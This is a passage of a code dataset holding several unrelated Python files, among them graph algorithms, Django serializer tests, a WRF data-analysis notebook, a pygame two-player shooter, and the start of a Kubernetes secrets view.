df.iterrows()])\r\n\r\n\r\ndef round_df(df: pd.DataFrame, columns: IndexLabel, trunc=2) -> pd.DataFrame:\r\n    if not isinstance(trunc, int): return df\r\n    __round = lambda x: round(x,trunc) if isinstance(x,float) else x\r\n    return apply_df(df, **{__column: __round for __column in cast_tuple(columns)})\r\n","repo_name":"minyeamer/gscraper","sub_path":"gscraper/utils/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":68151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"6476544687","text":"class Solution:\n    def __init__(self):\n        self.visited = []\n        self.answer = -1\n        \n        \n    def longestCycle(self, edges: List[int]) -> int:\n        n = len(edges)\n        self.visited = [False] * n\n        \n        for i in range(n):\n            if self.visited[i] == False:\n                dist = {}\n                dist[i] = 1\n                self.dfs(i, edges, dist)\n                \n        return self.answer\n                \n                \n    def dfs(self, node:int, edges: List[int], dist: map):\n        self.visited[node] = True\n        nextNode = edges[node]\n        \n        if nextNode != -1 and self.visited[nextNode] == False:\n            dist[nextNode] = dist[node] + 1\n            self.dfs(nextNode, edges, dist)\n        elif nextNode != -1 and nextNode in dist:\n            self.answer = max(self.answer, dist[node] - dist[nextNode] + 1)","repo_name":"dongsubkim/leetcode","sub_path":"2360-longest-cycle-in-a-graph/2360-longest-cycle-in-a-graph.py","file_name":"2360-longest-cycle-in-a-graph.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"236376838","text":"from django.test import TestCase\nfrom django.contrib.auth import get_user_model\n\nfrom categories.models import Category\nfrom projects.models import Project\nfrom ..models import Comment\nfrom ..serializers import CommentSerializer\n\n\nUser = get_user_model()\n\n\nclass CommentSerializerTestCase(TestCase):\n\n\tdef setUp(self):\n\t\tself.user = User.objects.create_superuser(\n\t\t\tusername='testuser', password='testpass'\n\t\t)\n\t\tself.category = Category.objects.create(title='Some category')\n\t\tself.project = Project.objects.create(\n\t\t\ttitle='Some project', description='Some description',\n\t\t\tcategory=self.category, user=self.user\n\t\t)\n\t\tself.comment = Comment.objects.create(\n\t\t\tproject=self.project, user=self.user, text='some comment'\n\t\t)\n\n\tdef test_serialized_comment_fields(self):\n\t\tserialized_comment = CommentSerializer(self.comment).data\n\t\tself.assertEqual(serialized_comment['pk'], str(self.comment.pk))\n\t\tself.assertIsNone(serialized_comment['reply_on'])\n\t\tself.assertEqual(serialized_comment['user'], self.user.username)\n\t\tself.assertEqual(serialized_comment['text'], self.comment.text)\n\t\tself.assertIn('pub_datetime', serialized_comment)\n\n\tdef test_reply_on_field(self):\n\t\tnew_comment = Comment.objects.create(\n\t\t\tproject=self.project, user=self.user, text='second comment',\n\t\t\treply_on=self.comment\n\t\t)\n\t\tserialized_comment = CommentSerializer(new_comment).data\n\t\tself.assertEqual(serialized_comment['reply_on'], self.comment.pk)\n\n\tdef test_is_data_valid_without_reply_on(self):\n\t\tdata = {\n\t\t\t'project': str(self.project.pk), 'user': self.user.id,\n\t\t\t'text': 'some comment'\n\t\t}\n\t\tserializer = CommentSerializer(data=data)\n\t\tself.assertTrue(serializer.is_valid())\n\n\tdef test_is_data_valid_with_reply_on(self):\n\t\tdata = {\n\t\t\t'text': 'some comment', 'reply_on': str(self.comment.pk)\n\t\t}\n\t\tserializer = CommentSerializer(data=data)\n\t\tself.assertTrue(serializer.is_valid())\n","repo_name":"artemowkin/Flora-API","sub_path":"comments/tests/test_serializers.py","file_name":"test_serializers.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"310029114","text":"# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: percent\n#       format_version: '1.2'\n#       jupytext_version: 1.2.3\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# %% [markdown]\n# # imports\n\n# %%\nfrom useful_scit.imps import (\n    pd,np,xr,za,mpl,plt,sns, pjoin, \n    os,glob,dt,sys,ucp,log, splot, crt,axsplot)\nimport re\nimport wrf_management.modules.util as wutil\n\n# %% [markdown]\n# # code \n\n# %%\nflx_path = '/homeappl/home/aliagadi/appl_taito/' +\\\n'FLEXPART-WRF_v3.3.2/readwind_nests.f90'\n\n# %%\nwith open(flx_path, 'r') as op:\n    txt = op.read()\n\n# %%\n_vars = re.findall(r'\\ *?[^!\\n]*?varname\\ *=\\ *\\'(.+)\\'',txt)\n\n# %%\nvar = 'var'\ndf_v = pd.DataFrame(_vars,columns=[var])\ndf_v = df_v.sort_values(var).reset_index(drop=True)\n\n# %%\ndf_v = df_v.drop_duplicates().copy()\n\n# %% [markdown]\n# ## WRF files\n\n# %%\nwrf_path = \\\n'/proj/atm/saltena/runs/run_2019_05_15/' +\\\n'wrf/wrfout_d0*2018-03-08_*'\n\n\n# %%\nwrf_path = '/proj/atm/saltena/runs/run_2019_05_15/wrf/'\n\n# %%\nwrf_files = wutil.get_df_list(path=wrf_path)\n\n# %%\n_i = 1\n_s = slice('2018-03-08 14','2018-03-08 16')\n_wr = wrf_files.loc[(_s,_i),:]\n\n# %%\np = _wr.iloc[0]['p']\n_ds = xr.open_dataset(p)\n\n# %%\nvar = 'var'\n\ndef _find_exists(r,ds):\n    va = r['var']\n    ret = False\n    try: ds[va];ret=True\n    except: pass\n    return ret\n\ndef _find_dims(r,ds):\n    va = r['var']\n    ret = 0\n    try: ret = len(ds[va].dims)\n    except: pass\n    return ret\n\ndef _find_time_dim(r,ds):\n    va = r['var']\n    ret = False\n    try: ret = ('Time' in ds[va].dims)\n    except: pass\n    return ret\ndef _find_other_dim(r,ds):\n    va = r['var']\n    ret = False\n    try: ret = list(set(list(ds[va].dims))-set(('Time',)))\n    except: pass\n    return ret\n\ndef _find_desc(r,ds):\n    va = r['var']\n    ret = False\n    try: ret = ds[va].description\n    except: pass\n    return ret\n\n\n# %%\nexists = 'exists'\nndims = 'ndims'\ntdim = 't_dim'\ndims = 'dims'\ndesc = 'desc'\n\ndf_v[exists]=df_v.apply(lambda r: _find_exists(r,_ds),axis=1)\ndf_v[ndims]=df_v.apply(lambda r: _find_dims(r,_ds),axis=1)\ndf_v[tdim]=df_v.apply(lambda r: _find_time_dim(r,_ds),axis=1)\ndf_v[dims]=df_v.apply(lambda r: _find_other_dim(r,_ds),axis=1)\ndf_v[desc]=df_v.apply(lambda r: _find_desc(r,_ds),axis=1)\n\n# %%\ndf_v1 = df_v[df_v[exists]]\n\n# %% {\"jupyter\": {\"outputs_hidden\": true}}\ndf_v1\n\n# %%\n_id = 1\n_s = slice('2018-03-08 14','2018-03-08 15')\n_wr = wrf_files.loc[(_s,_id),:]\n\nXTIME = 'XTIME'\nTime = 'Time'\nwds = xr.open_mfdataset(_wr['p'],concat_dim=Time,combine='nested')\nwds = wds.swap_dims({Time:XTIME})\n\n# %%\n\ndf_v1\nrow = df_v1.iloc[12]\nva = row[var]\n_wd = wds[va]\n_wds = _wd.shift(**{XTIME:-1})\nva\n\n# %%\n_der = _wds-_wd\n_derAll = _der.loc[{XTIME:slice('2018-03-08 14:00','2018-03-08 14:30')}]\n_derRes = _der.loc[{XTIME:slice('2018-03-08 14:45','2018-03-08 14:45')}]\n\n# %%\nderResult = _derRes.mean(XTIME)/(_derAll.mean(XTIME).where(\n    np.abs(_derAll)>1e-1,1\n))\n\n# %%\nax = axsplot()\n_res = pd.Series(derResult.values.flatten()).dropna().values\ndescription = pd.DataFrame(_res,columns=[va]).describe()\nsns.distplot(_res,kde=False,ax=ax, label = va);\nax.legend()\nax.set_title(f'dom:{_id}-{row[desc]}')\nax.table(\n    cellText=description.values,\n    rowLabels=description.index.values,\n    colLabels=[va],\n    cellLoc='left',\n    bbox=[1.2,0,.5,1]\n        )\n\n# %%\n(_derAll.mean(XTIME).where(_derAll!=0,1)).max().values\n\n# %%\n_derAll.mean(XTIME).where(~(_derAll==0),1).plot()\n\n# %%\nrr=((_derAll.mean(XTIME).where(_derAll!=0,1)).values==0).flatten().astype(int)\n\n# %%\npd.Series(rr).value_counts()\n\n# %%\nwds['UST'][{}]\n\n# %%\nucp.set_dpi(300)\n\n# %%\nfor i in range(1,5):\n    _id = i\n    _s = slice('2018-03-08 14','2018-03-08 15')\n    _wr = wrf_files.loc[(_s,_id),:]\n\n    XTIME = 'XTIME'\n    Time = 'Time'\n    wds = xr.open_mfdataset(_wr['p'],concat_dim=Time,combine='nested')\n    wds = wds.swap_dims({Time:XTIME})\n    u1 = wds.loc[{XTIME:'2018-03-08 14:45'}]['UST']\n    u2 = wds.loc[{XTIME:'2018-03-08 15:00'}]['UST']\n    axs = axsplot(1,3,figsize=(11,3)).flatten()\n    u1.plot(ax=axs[0]);\n    u2.plot(ax=axs[1]);\n    ((u2-u1)).plot(ax=axs[2]);\n    axs[2].set_title(f'dom:{i} '+'$\\\\frac{u^*_2-u^*_1}{1}$');\n    axs[2].figure.tight_layout()\n    \n\n# %%\n# # !jupyter-nbconvert --to markdown check_restart_issues.ipynb\n\n# %%\n","repo_name":"daliagachc/wrf_management","sub_path":"wrf_management/notebooks/check_restart_issues/check_restart_issues.py","file_name":"check_restart_issues.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"29955561332","text":"def getN():\n    return int(input())\ndef getNM():\n    return map(int, input().split())\ndef getList():\n    return list(map(int, input().split()))\ndef getArray(intn):\n    return [int(input()) for i in range(intn)]\ndef input():\n    return sys.stdin.readline().rstrip()\ndef rand_N(ran1, ran2):\n    return random.randint(ran1, ran2)\ndef rand_List(ran1, ran2, rantime):\n    return [random.randint(ran1, ran2) for i in range(rantime)]\ndef rand_ints_nodup(ran1, ran2, rantime):\n  ns = []\n  while len(ns) < rantime:\n    n = random.randint(ran1, ran2)\n    if not n in ns:\n      ns.append(n)\n  return sorted(ns)\n\ndef rand_query(ran1, ran2, rantime):\n  r_query = []\n  while len(r_query) < rantime:\n    n_q = rand_ints_nodup(ran1, ran2, 2)\n    if not n_q in r_query:\n      r_query.append(n_q)\n  return sorted(r_query)\n\nfrom collections import defaultdict, deque, Counter\nfrom sys import exit\nfrom decimal import *\nimport heapq\nimport math\nfrom fractions import gcd\nimport random\nimport string\nimport copy\nfrom itertools import combinations, permutations, product\nfrom operator import mul\nfrom functools import reduce\nfrom bisect import bisect_left, bisect_right\n\nimport sys\nsys.setrecursionlimit(1000000000)\nmod = 10 ** 9 + 7\n\n\n#############\n# Main Code #\n#############\n\nimport sys\nsys.setrecursionlimit(1000000)\nclass LCA(object):\n    def __init__(self, G, root=0):\n        self.G = G\n        self.root = root\n        self.n = len(G)\n        self.logn = (self.n - 1).bit_length()\n        self.depth = [-1 if i != root else 0 for i in range(self.n)]\n        self.parent = [[-1] * self.n for _ in range(self.logn)]\n        self.go = [] # 行きがけ\n        # self.go_dict = {}\n        self.back = [] # 帰りがけ\n        self.back_dict = {}\n        self.bfs()\n        self.doubling()\n\n    def bfs(self):\n        que = [self.root]\n        while que:\n            u = que.pop()\n            for v in self.G[u]:\n                if self.depth[v] == -1:\n                    self.depth[v] = self.depth[u] + 1\n                    self.parent[0][v] = u\n                    que += [v]\n\n    def dfs(self, u, p):\n\n        # self.go_dict[u] = len(self.go)\n        self.go.append(u)\n        for v in E[u]:\n            if v != p:\n                self.dfs(v, u)\n        self.back_dict[u] = len(self.back)\n        self.back.append(u)\n\n    def doubling(self):\n        for i in range(1, self.logn):\n            for v in range(self.n):\n                if self.parent[i - 1][v] != -1:\n                    self.parent[i][v] = self.parent[i - 1][self.parent[i - 1][v]]\n\n    def get(self, u, v):\n        if self.depth[v] < self.depth[u]:\n            u, v = v, u\n        du = self.depth[u]\n        dv = self.depth[v]\n\n        for i in range(self.logn):  # depthの差分だけuを遡らせる\n            if (dv - du) >> i & 1:\n                v = self.parent[i][v]\n        if u == v: return u  # 高さ揃えた時点で一致してたら終わり\n\n        for i in range(self.logn - 1, -1, -1):  # そうでなければ上から二分探索\n            pu, pv = self.parent[i][u], self.parent[i][v]\n            if pu != pv:\n                u, v = pu, pv\n        return self.parent[0][u]\n\n    def distance(self, u, v):\n        return self.depth[u] + self.depth[v] - 2 * self.depth[self.get(u, v)]\n\n    # dfsの帰りがけ順の列があれば深さが深い順に各頂点をマージする方法を教えてくれる\n    # [[マージ元1, マージ元2, マージ先],...]\n    def unite(self, ar):\n        # dfsの行きがけ順にソート\n        v_l = [[self.back_dict[v - 1], v - 1] for v in ar]\n        v_l.sort(reverse = True)\n        bef = []\n        aft = [v[1] for v in v_l] # popできるよう逆にする\n        res = []\n\n        while len(aft) > 1:\n            now = aft.pop()\n            while bef and self.depth[lca.get(bef[-1], now)] >= self.depth[self.get(now, aft[-1])]:\n                res.append([bef[-1], now]) # 記録1 マージ元\n                now = self.get(bef.pop(), now) # nowとbef[-1]を統合して新しい点を作成\n                res[-1].append(now) # 記録2 マージ先\n\n            # 一旦保留\n            bef.append(now)\n\n        # 残った奴をマージしていく\n        now = aft[0]\n        while bef:\n            res.append([bef[-1], now])\n            now = self.get(bef.pop(), now) # nowとbef[-1]を統合して新しい点を作成\n            res[-1].append(now)\n\n        return res\n\n# 使い方 ABC014 閉路\nn = getN()\nG = [[] for _ in range(n)]\nfor x, y in [getNM() for i in range(n - 1)]:\n    G[x - 1] += [y - 1]\n    G[y - 1] += [x - 1]\n\nlca = LCA(G)\nq = getN()\nans = []\nfor a, b in [getNM() for i in range(q)]:\n    # 根からのaの深さ + 根からのbの深さ - 2 * ダブった部分\n    # lca.get(a - 1, b - 1):aとbのlca\n    ans += [lca.depth[a - 1] + lca.depth[b - 1] - 2 * lca.depth[lca.get(a - 1, b - 1)] + 1]\n\nprint(*ans, sep='\\n')\n\n# 典型90問 035 - Preserve Connectivity\n\nN = getN()\nE = [[] for i in range(N)]\nfor i in range(N - 1):\n    a, b = getNM()\n    E[a - 1].append(b - 1)\n    E[b - 1].append(a - 1)\n\nQ = getN()\nlca = LCA(E)\n# dfsの行きがけ順\nlca.dfs(0, -1)\n\nfor _ in range(Q):\n    k, *v_l = getList()\n    cnt = 0\n    for a, b, _ in lca.unite(v_l):\n        cnt += lca.distance(a, b)\n    print(cnt)\n","repo_name":"customaddone/beginPython","sub_path":"cgi-bin/library/tree/lca.py","file_name":"lca.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37809917547","text":"import numpy as np\nfrom matplotlib import pyplot as plt\n# nicer looking default plots\nplt.style.use('bmh')\nfrom scipy import optimize as opt\nfrom scipy import special as sp\nfrom scipy import misc\nfrom scipy.linalg import det\nimport mpmath\n\t\ndef fun(E_,k,nu,delta,L,Z,phi):\n\tif isinstance(E_,float):\n\t\tE = E_\n\telse:\n\t\tE = E_[0]\n    \n\tif abs(E)>abs(delta):\n\t\treturn 1\n\t\n\tZL = Z\n\tZR = Z\n\tphiL = 0\n\tphiR = phi\n\t\n\tkx = np.sqrt(1+1j*1j*k*k)\n\tkx_e = kx#np.sqrt(1+1j*1j*k*k+2*E/nu)\n\tkx_h = kx#np.sqrt(1+1j*1j*k*k-2*E/nu)\n\t\n\t\n\tekR1_e = np.exp(1j*kx_e*L)\n\tekR2_e = np.exp(-1j*kx_e*L)\n\tekR1_h = np.exp(1j*kx_h*L)\n\tekR2_h = np.exp(-1j*kx_h*L)\n\t\n\tqe = np.sqrt(1-k*k+1j*2/nu*np.sqrt(delta*delta-E*E))\n\tqh = np.sqrt(1-k*k-1j*2/nu*np.sqrt(delta*delta-E*E))\n\t\n\teta = np.arccos(E/delta)\n\t\n\tgamma_eL = np.exp(1j*(-eta-phiL))\n\tgamma_eR = np.exp(1j*(-eta-phiR))\n\tgamma_hL = np.exp(1j*(eta-phiL))\n\tgamma_hR = np.exp(1j*(eta-phiR))\n\t\n\tmatrix = np.array([[1, 1, 0, 0, gamma_hL, gamma_eL, 0, 0],\n\t\t\t\t\t   [0, 0, 1, 1, 1, 1, 0, 0],\n\t\t\t\t\t   [1j*kx_e, -1j*kx_e, 0, 0, (ZL+1j)*qh*gamma_hL, (Z-1j)*qe*gamma_eL, 0, 0],\n\t\t\t\t\t   [0, 0, 1j*kx_h, -1j*kx_h, (ZL+1j)*qh, (Z-1j)*qe, 0, 0],\n\t\t\t\t\t   [ekR1_e, ekR2_e, 0, 0, 0, 0, gamma_hR, gamma_eR],\n\t\t\t\t\t   [0, 0, ekR1_h, ekR2_h, 0, 0, 1, 1],\n\t\t\t\t\t   [1j*kx_e*ekR1_e, -1j*kx_e*ekR2_e, 0, 0, 0, 0, (-ZR-1j)*qh*gamma_hR, (-ZR+1j)*qe*gamma_eR],\n\t\t\t\t\t   [0, 0, 1j*kx_h*ekR1_h, -1j*kx_h*ekR2_h, 0, 0, (-ZR-1j)*qh, (-ZR+1j)*qe]])\n\t\"\"\"\n\tmatrix = np.array([[1, 1, 0, 0, gamma_hL, gamma_eL, 0, 0],\n\t\t\t\t\t   [0, 0, 1, 1, 1, 1, 0, 0],\n\t\t\t\t\t   [1j*kx, -1j*kx, 0, 0, (ZL+1j)*qh*gamma_hL, (Z-1j)*qe*gamma_eL, 0, 0],\n\t\t\t\t\t   [0, 0, 1j*kx, -1j*kx, (ZL+1j)*qh, (Z-1j)*qe, 0, 0],\n\t\t\t\t\t   [ekR1, ekR2, 0, 0, 0, 0, gamma_hR, gamma_eR],\n\t\t\t\t\t   [0, 0, ekR1, ekR2, 0, 0, 1, 1],\n\t\t\t\t\t   [1j*kx*ekR1, -1j*kx*ekR2, 0, 0, 0, 0, (-ZR-1j)*qh*gamma_hR, (-ZR+1j)*qe*gamma_eR],\n\t\t\t\t\t   [0, 0, 1j*kx*ekR1, -1j*kx*ekR2, 0, 0, (-ZR-1j)*qh, (-ZR+1j)*qe]])\n\t\"\"\"\n\tD = det(matrix)\n\treturn np.absolute(D)\n\ndef makePlotPhi(nu, delta, Z, k, L, N, n):\n\tbuf = 0.25\n\tphi_start = -3*np.pi\n\tphi_end = 3*np.pi\n\tphi_array = np.linspace(phi_start, phi_end, N)\n\tE_array = np.zeros(phi_array.shape)\n\te0 = np.linspace(-delta+buf,delta-buf,n)\n\tplt.figure()\n\tfor j in range(n):\n\t\tprint('count:',j+1,'/',n)\n\t\tfor i in range(N):\t\t\n\t\t\trootResult = opt.root(fun,e0[j],args=(k,nu,delta,L,Z,phi_array[i]))\n\t\t\tif rootResult.success:\n\t\t\t\tE_array[i] = rootResult.x[0]\n\t\t\telse:\n\t\t\t\tE_array[i] = 2*delta #this is a quick fix\n\t\tplt.plot(phi_array,E_array,'.b')\n\tplt.axis([phi_start,phi_end,-delta-0.01*delta,delta+0.01*delta])\t\n\tplt.show()\n\n\ndef testFunction(nu, delta, Z, k, L, N, n):\n\tphi_start = -np.pi+0.09\n\tphi_end = -np.pi+0.1\n\tphi = np.linspace(phi_start,phi_end,n)\n\tE_array = np.linspace(-delta,delta,N)\n\tFunc_array = np.zeros(E_array.shape)\n\t\n\tplt.figure()\n\tfor j in range(n):\n\t\tfor i in range(N):\t\t\n\t\t\tFunc_array[i] = fun(E_array[i],k,nu,delta,L,Z,phi[j])\n\t\tplt.plot(E_array,Func_array,'.',label='phi='+str(phi[j]))\n\t\tplt.legend()\n\tplt.show()\n\t\nhw = 0.01#0.155789473684\nN = 500\nn = 3\nnu = 40./hw\ndelta = 2.#./hw\nZ = 0\nphi = 1.\nL = 106.7\nk = 0.2\n\nmakePlotPhi(nu,delta,Z,k,L,N,n)\n#testFunction(nu,delta,Z,k,L,N,n)\n\n\n\n\n\n   \n\n\n","repo_name":"annaubbroyn/MasterThesis","sub_path":"python/Solve_SNS_project_2.py","file_name":"Solve_SNS_project_2.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70743304783","text":"import pygame\nimport random\nfrom sprites import *\nimport os\n\n\nclass Game:\n    def __init__(self):\n        self.settings()\n        pygame.init()\n        pygame.mixer.init()\n        self.screen = pygame.display.set_mode((self.width, self.height))\n        self.clock = pygame.time.Clock()\n        self.running = True\n        self.font_name = pygame.font.match_font('arial')\n        self.load_data()\n\n    def settings(self):\n        \"\"\"\n        Задание начальных переменных\n        :return: None\n        \"\"\"\n        self.width = 1920\n        self.height = 1080\n        self.fps = 60\n\n    def load_data(self):\n        \"\"\"\n        Загрузка всех файлов, необходимых для проекта\n        :return:\n        \"\"\"\n        self.dir = os.path.dirname(__file__)\n        self.fon = pygame.transform.scale(self.load_image('1.gif'),\n                                          (self.width, self.height))\n\n        img_dir = os.path.join(self.dir, 'img')\n        self.player_1_sprite = LoadImage(os.path.join('img', 'player1_sprite.png'))\n        self.player_2_sprite = LoadImage(os.path.join('img', 'player2_sprite.png'))\n        self.blocks_sprite = LoadImage(\n            os.path.join('img', 'platformIndustrial_sheet2.png'))\n        self.weapon_sprite = LoadImage(\n            os.path.join('img', 'Ak47 Custom Sheet.png'))\n\n    def new(self):\n        names = ['map.txt', 'map1.txt']\n        with open(os.path.join(self.dir, random.choice(names)), 'r') as map1:\n            self.blocks = map1.readlines()\n        self.all_sprites = pygame.sprite.LayeredUpdates()\n        self.platforms = pygame.sprite.Group()\n        self.guns = pygame.sprite.Group()\n        self.bullet_player_1 = pygame.sprite.Group()\n        self.bullet_player_2 = pygame.sprite.Group()\n        self.clouds = pygame.sprite.Group()\n        self.player_1 = Player(self, self.player_1_sprite, 100)\n        self.player_2 = Player(self, self.player_2_sprite, 1700)\n        for y_cord, block_s in enumerate(self.blocks):\n            for x_cord, block in enumerate(block_s):\n                if block == '#':\n                    Block(self, x_cord * 70 - 95, y_cord * 70 - 25)\n\n        Weapon(self, 100, 500)\n        Weapon(self, 900, 700)\n        self.mob_timer = 0\n        self.run()\n\n    def run(self):\n        self.playing = True\n        while self.playing:\n            self.clock.tick(self.fps)\n            self.events()\n            self.update()\n            self.draw()\n        pygame.mixer.music.fadeout(500)\n\n    def update(self):\n        self.all_sprites.update()\n        self.control(self.player_1, self.bullet_player_2)\n        self.control(self.player_2, self.bullet_player_1)\n        if len(self.platforms) == 0:\n            self.playing = False\n\n    def control(self, player, gr_plr):\n        \"\"\"\n        Контроль за основными столкновениями\n        :param player: объект игрока\n        :param gr_plr: группа со всеми объектами\n        :return: None\n        \"\"\"\n        if player.vel.y > 0:\n            intersections = pygame.sprite.spritecollide(player, self.platforms, False)\n            if intersections:\n                for lowest in intersections:\n                    for intersection in intersections:\n                        if intersection.rect.bottom > lowest.rect.bottom:\n                            lowest = intersection\n                        if player.pos.x < lowest.rect.right + 10 and player.pos.x > lowest.rect.left - 10:\n                            if player.pos.y < lowest.rect.centery:\n                                player.pos.y = lowest.rect.top\n                                player.vel.y = 0\n                                player.jumping = False\n\n        intersections = pygame.sprite.spritecollide(player, gr_plr, False)\n        if intersections:\n            player.kill()\n            self.playing = False\n\n        intersections = pygame.sprite.spritecollide(player, self.guns, False)\n        for weapon in intersections:\n            if not player.have_gun and not weapon.collected:\n                player.have_gun = True\n                weapon.collected = True\n                weapon.weapon_owner = player\n\n        if len(self.platforms) == 0:\n            self.playing = False\n\n    def events(self):\n        \"\"\"\n\n        :return:\n        \"\"\"\n        self.player_1.animate()\n        self.player_1.acc = vector(0, 0.7)\n        keys = pygame.key.get_pressed()\n        if keys[pygame.K_LEFT]:\n            self.player_1.acc.x = -1\n        if keys[pygame.K_RIGHT]:\n            self.player_1.acc.x = 1\n        self.moving_player(self.player_1)\n        self.player_2.animate()\n        self.player_2.acc = vector(0, 0.7)\n        keys = pygame.key.get_pressed()\n        if keys[pygame.K_a]:\n            self.player_2.acc.x = -1\n        if keys[pygame.K_d]:\n            self.player_2.acc.x = 1\n\n        self.moving_player(self.player_2)\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                if self.playing:\n                    self.playing = False\n                self.running = False\n            if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_UP:\n                    self.player_1.jump()\n                if event.key == pygame.K_w:\n                    self.player_2.jump()\n\n            if event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_KP0 and self.player_1.have_gun:\n                    a = Bullet(self, self.player_1.rect.x + 48, self.player_1.rect.y + 64,\n                               self.player_1.side, self.bullet_player_1)\n                if event.key == pygame.K_v and self.player_2.have_gun:\n                    a = Bullet(self, self.player_2.rect.x + 48, self.player_2.rect.y + 64,\n                               self.player_2.side, self.bullet_player_2)\n\n    def moving_player(self, obj_player):\n        \"\"\"\n        Отвечает за перенос игрока с одной стороны на другую в случае выхода за карту\n        :param obj_player: Объект игрока\n        :return: None\n        \"\"\"\n\n        obj_player.acc.x += obj_player.vel.x * -0.12\n        obj_player.vel += obj_player.acc\n        if abs(obj_player.vel.x) < 0.1:\n            obj_player.vel.x = 0\n        obj_player.pos += obj_player.vel + 0.5 * obj_player.acc\n        if obj_player.pos.x > 1920 + obj_player.rect.width / 2:\n            obj_player.pos.x = 0 - obj_player.rect.width / 2\n        if obj_player.pos.x < 0 - obj_player.rect.width / 2:\n            obj_player.pos.x = 1920 - obj_player.rect.width / 2\n\n        obj_player.rect.midbottom = obj_player.pos\n\n    def draw(self):\n        \"\"\"\n        Отрисовка всех элементов игры\n        :return:\n        \"\"\"\n        self.screen.blit(self.fon, (0, 0))\n        self.all_sprites.draw(self.screen)\n        pygame.display.flip()\n\n    def load_image(self, name, colorkey=None):\n        file_name = os.path.join('img', name)\n        if not os.path.isfile(file_name):\n            print(f\"Файл с изображением '{file_name}' не найден\")\n            sys.exit()\n        image = pygame.image.load(file_name)\n        return image\n\n    def start_screen(self):\n        fon = pygame.transform.scale(self.load_image('fon.png'),\n                                     (self.width, self.height))\n        self.screen.blit(fon, (0, 0))\n        font = pygame.font.Font(None, 30)\n        text_coord = 50\n        while True:\n            for event in pygame.event.get():\n                if not event.type == pygame.QUIT:\n                    return\n\n            pygame.display.flip()\n            self.clock.tick(60)\n\n\n\ng = Game()\ng.start_screen()\nwhile g.running:\n    g.new()\n    g.start_screen()\n\npygame.quit()\n","repo_name":"Fizic/concord-game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"31069799675","text":"class Arranging_module():\n    categorize_obj = None\n\n    #key_value in dictonary\n    #google_category []\n    #category []\n    def reverse_obs(category_list): #output list of google categories\n        #for map_object in map_objects: #toremove\n            #google_category = map_object[\"google_category\"]\n            #categorise(category_list, map_object)\n\n            # transform category list into fitting google categories\n\n    #def categorise(category_list, map_object):  # file path = path to file category.txt\n        file_path = \"categories.txt\"\n        fitting_categories = []\n        try:\n            with open(file_path, \"r\") as file:\n\n                file_contents = file.read()\n                lines = file_contents.strip().split('\\n')\n                for line in lines:\n                    list = line.split(',')\n                    if list[0] in category_list:\n                        fitting_categories.extend(list[1:])\n                return fitting_categories\n                #map_object[\"category\"] = fitting_categories\n\n        except FileNotFoundError:\n            print(f\"File '{file_path}' not found.\")\n        except IOError:\n            print(f\"Error reading file '{file_path}'.\")\n        # map_object[]\n    def categorize_obj2(map_objects):\n\n        # helping function, input is google category, output is our category, if doesn't fit to any of our category output should be null\n        # it returns list of categories which are related with google category, as it can happen that one google category fit for 2 or more of our categories\n        def categorise(google_category, map_object):  # file path = path to file category.txt\n            file_path = \"categories.txt\"\n            fitting_categories = []\n            try:\n                with open(file_path, \"r\") as file:\n\n                    file_contents = file.read()\n                    lines = file_contents.strip().split('\\n')\n                    for line in lines:\n                        list = line.split(',')\n                        for elem in list:\n                            if elem == google_category:\n                                fitting_categories.append(list[0])\n                    map_object[\"category\"] = fitting_categories\n\n            except FileNotFoundError:\n                print(f\"File '{file_path}' not found.\")\n            except IOError:\n                print(f\"Error reading file '{file_path}'.\")\n\n        for map_object in map_objects:\n            google_category = map_object[\"google_category\"]\n            categorise(google_category,map_object)\n\n            #extract google categories from map object\n\n\n            #map_object[]\n    def sort_asc(criterion,map_objects):\n        map_objects = sorted(map_objects, key=lambda x: x[criterion]) #ascending_sort\n\n    def sort_desc(criterion,map_objects):\n        map_objects = sorted(map_objects, key=lambda x: x[criterion], reverse=True) #descending_sort\n\n    # def start_arranging_module(**m_object_list):\n    #     # -2 for None object\n    #\n    #     pass\n\n    # def provide_objects():\n    #     pass\n\n\n\n\n#provide_object()\n\n\n\n\n\n\n\n","repo_name":"RemXmeR/mapview_build_test","sub_path":"mapview_app_Test/back_end/arranging_module.py","file_name":"arranging_module.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23711092237","text":"import copy\nimport logging\n\nfrom django.utils.translation import ugettext_lazy as _\nfrom rest_framework import viewsets\n\nfrom backend.components.bcs import k8s\nfrom backend.templatesets.legacy_apps.configuration.serializers import K8sSecretCreateOrUpdateSLZ\nfrom backend.templatesets.legacy_apps.instance.constants import K8S_SECRET_SYS_CONFIG\nfrom backend.uniapps import utils as app_utils\nfrom backend.uniapps.application.base_views import BaseAPI\nfrom backend.uniapps.application.utils import APIResponse\nfrom backend.uniapps.resource.constants import DEFAULT_SEARCH_FIELDS\nfrom backend.utils.errcodes import ErrorCode\n\nfrom .base import ResourceOperate\n\nlogger = logging.getLogger(__name__)\n\n\nclass Secrets(viewsets.ViewSet, BaseAPI, ResourceOperate):\n\n    category = 'secret'\n    cate = 'K8sSecret'\n    sys_config = K8S_SECRET_SYS_CONFIG\n\n    def get_secrets_by_cluster_id(self, request, params, project_id, cluster_id):\n        